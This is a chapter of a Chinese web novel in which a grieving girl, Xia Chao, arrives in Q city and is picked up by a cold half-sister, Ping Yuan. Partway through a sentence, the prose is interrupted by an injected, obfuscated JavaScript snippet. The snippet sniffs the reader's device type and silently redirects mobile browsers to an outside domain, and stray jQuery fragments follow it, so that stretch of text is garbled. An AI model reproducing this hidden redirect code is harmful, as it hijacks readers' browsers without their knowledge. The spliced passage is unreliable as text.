这是一个炽热的夏天。


    等夏潮意识到这一点的时候，她已经在车站门口站了很久。


    北方的天空总是这样的高而远，如夏潮曾经在电视上看见过的一样。没有南方天空的潮闷浓郁，也没有那么多肥白的、堆积在天边的云朵。阳光刺目嘹亮，如一千个乐手手同时吹奏金小号最高音，穿过干燥高远的蓝天，让一切都纯粹清晰。


    天空像块崭新的大面玻璃，叫人望得眼睛刺痛，夏潮揉揉眼睛，发现是一滴咸苦的汗水撞进眼里。


    天气很热，她后背汗湿了又干，而原本预定要来接她的人已经迟到很久了。


    车站门口空无一人。毕竟，距离这一趟列车到站已经过去半小时。最后一个等候的旅客在五分钟前离开，夏潮百无聊赖地靠在一边，记得那个女孩子打扮入时，大概是个放暑假的学生。


    贴满贴纸的行李箱亮闪闪，挂满玩偶和铁皮徽章的背包也亮闪闪。


    夏潮偷偷看她，看见女孩在看见一辆轿车靠近后迅速扬起笑脸——妈！


    她用力挥手，车上果然跳下一个中年女人，身后跟着丈夫和另一个更小的孩子。女孩扑过去，挂在她妈脖子上撒娇，一家人说说笑笑地收好行李，头也不回地消失在夏潮的视野中。


    只剩下广场拉客的司机坐在阴凉处，不时打量夏潮一眼，意识到她半小时前就已经站在那儿，便又悻悻地转了回去。


    真讨厌。


    车站不允许旅客在出站口逗留。她被迫站得离冷气十万八千里。暑热扑到脸上，热红了她的面颊，打量的目光里夏潮渐渐如芒在背，低下头想假装有人接，却遍寻不得。


    就在她第一千零一次想要拿起手机打电话，身后忽然响起喇叭声。


    那声音很急促，连着两声，几乎叫人想像出司机不耐烦的神色。夏潮一下子有些慌张，意识到自己大概是挡了别人的路，赶忙往旁边撤。


    却又不小心踢到路沿，一个踉跄摔倒地上。


    后背的汗刷地就下来了。夏天太热了，她裤子穿得薄，这一下磕得结结实实，疼得夏潮眼冒金星。但她仍没忘记自己得腾地方，咬牙仰起头，正要喊等一下！


    声音却在嗓子里冻结住。


    那辆小车徐徐开过来了，不偏不倚，正停在夏潮面前，坐在驾驶座上的年轻女人转过头来，面无表情，声音却干脆地劈开空气：


    “夏潮？”


    被喊到名字的人正狼狈地撑起身子。夏潮捂着屁股龇牙咧嘴：“你认识我？”


    女人没接话，只把目光平直地投向远处：“我是平原。”


    好惜字如金的人，夏潮默默地想。


    她不再提问，微微后退一步，先努力弯起笑眼：“姐姐。”


    是的，这就是她来这里的理由。一天之前，她背着包，搭上摇摇晃晃的大巴到达省会Y城，又登上列车，用十个小时跨越一千五百公里，只是为了完成母亲的遗愿，去见她素未谋面的姐姐，平原。


    车里冷气的味道飘过来，淡淡的橙花味，清新冷冽，带着金属般的寒意，司机同样有双带冷意的眼。她不再说话，安静地上了车。


    车门在身后砰一声关上。夏潮抬头，看见驾驶座上的女人穿黑色背心，外搭白衬衫，袖口挽起露出纤细小臂，看起来干脆、漂亮又冷淡。


    漂亮女人似乎也正透过后视镜打量她，但夏潮看过去的时候，她又不动声色地移开了眼：“不好意思，下班堵车来晚了。”


    她气质冷，声音也淡，夏潮没听出什么抱歉的味道，她摇摇头，说：“没关系。”


    女人便不再回话。


    车内一下子就变得安静起来，滤光玻璃让刺目的阳光也变得柔和。夏潮将目光投下窗外，看见异乡陌生的街道与自己倒影重叠在一起。


    倒影中的女孩穿一件白T恤。是旧衣服，已经被洗得有点薄，但得益于她一直细心洗净衣领，所以看起来依旧清爽干净。


    虽然那个教她用小牙刷蘸漂白水的人已经不在了。


    夏潮垂下眼帘，她的头发在脑后扎成马尾，下车前为了让自己看起来更得体，她特意解开头发，重新梳了一遍，却没想到还是有一撮发尾倔强地翘了起来。


    冷气还在呼呼地吹。


    她有些丧气，也有些坐立不安，目光忍不住飘向平原，这位在十分钟前还对她按喇叭的姐姐，此刻正专心致志地握着方向盘，在车流里行进。


    后视镜倒映出她脸庞，平原有一双杏眼，眼尾微挑，像猫。


    下一秒夏潮就被这双漆黑的猫儿眼冰了一下。像是后脑勺长了眼睛一样，平原问：“有事？”


    夏潮赶紧摇摇头，又听见她说：“车上有糖，你要是饿了就吃一颗。现在晚高峰，没办法下车给你买吃的。”


    前面绿灯正好亮了，夏潮看着她打亮转向灯，将方向盘利落地往左打：“不饿的话就回我家吃。你妈和你说过吧？”


    “我家没有空房给你睡，除了杂物房。”


    关心的话以这一句收尾，简单利落，毫无情面。夏潮张大嘴，还是被梗了一下：“好。”


    “谢谢姐姐。”


    “不用喊我姐姐，”女人却说，“我只是受了你妈的嘱托，要人情两清。”


    平原不喜欢她，夏潮已经看出来了。一见面，她就不耐烦地按喇叭，现在上了车，平原也根本不喊她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345692|183517||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的名字。


    只会你来你去，还有喊‘你妈’。


    是谁妈还不一定呢。夏潮咬着嘴唇地想。今天应该是她最努力收敛性子的一天了，换做是在南县，哪家小孩敢这么怪腔怪调地喊夏玲，她早就捏起拳头把对面揍趴下了。


    但这是在Q市。夏潮深呼吸，又把手松开了。


    她怀里抱着自己的全部行装。一个鼓鼓囊囊的大背包，里头带了几套必要的换洗衣物、身份文件，还有一些路上的泡面干粮。


    现在泡面已经吃完了，只剩下一只圆滚滚的橘子还在她手里。


    这是她家乡的特产，不起眼的深绿色外皮，剥开却是一整颗柔嫩多汁的心。


    这是她家门口种的橘子树，临行前她特意摘了几个橘子放进包里，一路小心翼翼地带着，就为了让平原尝尝，然后告诉她一些家里的趣事。


    比如这棵树，据说是平原出生的那年夏玲种的，又比如她小时候不懂事，拿剪刀在树身上刻字，然后被夏玲骂得嗷嗷哭。


    现在树已经长这么高啦。


    夏潮低下头，她其实有很多话想和平原讲。


    毕竟，夏玲去世之后她就是孤身一人了，对于忽然拥有一个姐姐这件事，她不是不期待的。


    于是来Q市的这一路，夏潮紧张得去了好几趟厕所，连路上风景也无心观看，只在心里叽里咕噜打腹稿，恨不得抓只铅笔来写自我介绍。


    结果只得到拒人于千里之外的冷漠。


    真讨厌。夏潮垂下眼睫，决定把自我介绍连同橘子一起咽进肚子，永不见天日。


    车还在开，晚高峰的车流果然不容小觑，汽车金色的近光灯与红色的尾灯分成两列，背道而驰，又在某一个十字路口川流交织，将柔滑幽蓝的夜色梭织成孔雀闪光的尾翎。


    经过收费站的时候开始堵车，她们停下来，听见四处都是焦躁不安的喇叭声。


    车里倒是放着歌，虚拟唱片旋转，正好放到《BLUE》，一首近十年的老歌，唱着单恋的故事。平原没有回头，还是那样漠然的表情，丝毫没注意后座丁零当啷全是少女心碎的声音。


    而夏潮将车窗摇下来，看见窗外的城市，已经被幽蓝的天色覆盖。


    陌生的城市、陌生的人、陌生的十字路口，一切倒映在眼中都辉煌又光怪陆离。发梢被晚风吹动，她闭上眼睛，成为一株水草，在夜的烟波中漂浮不定。


    这就是她来到Q市的第一个夏夜，距离母亲的坟冢一千五百公里。夜晚干爽，她胸腔却有一朵积雨的云。故乡浓青层叠的丘陵和纵横交错的河道被飞驰的列车抛在身后，天空是孔雀蓝色，橘子握在手里，像一颗酸涩的心。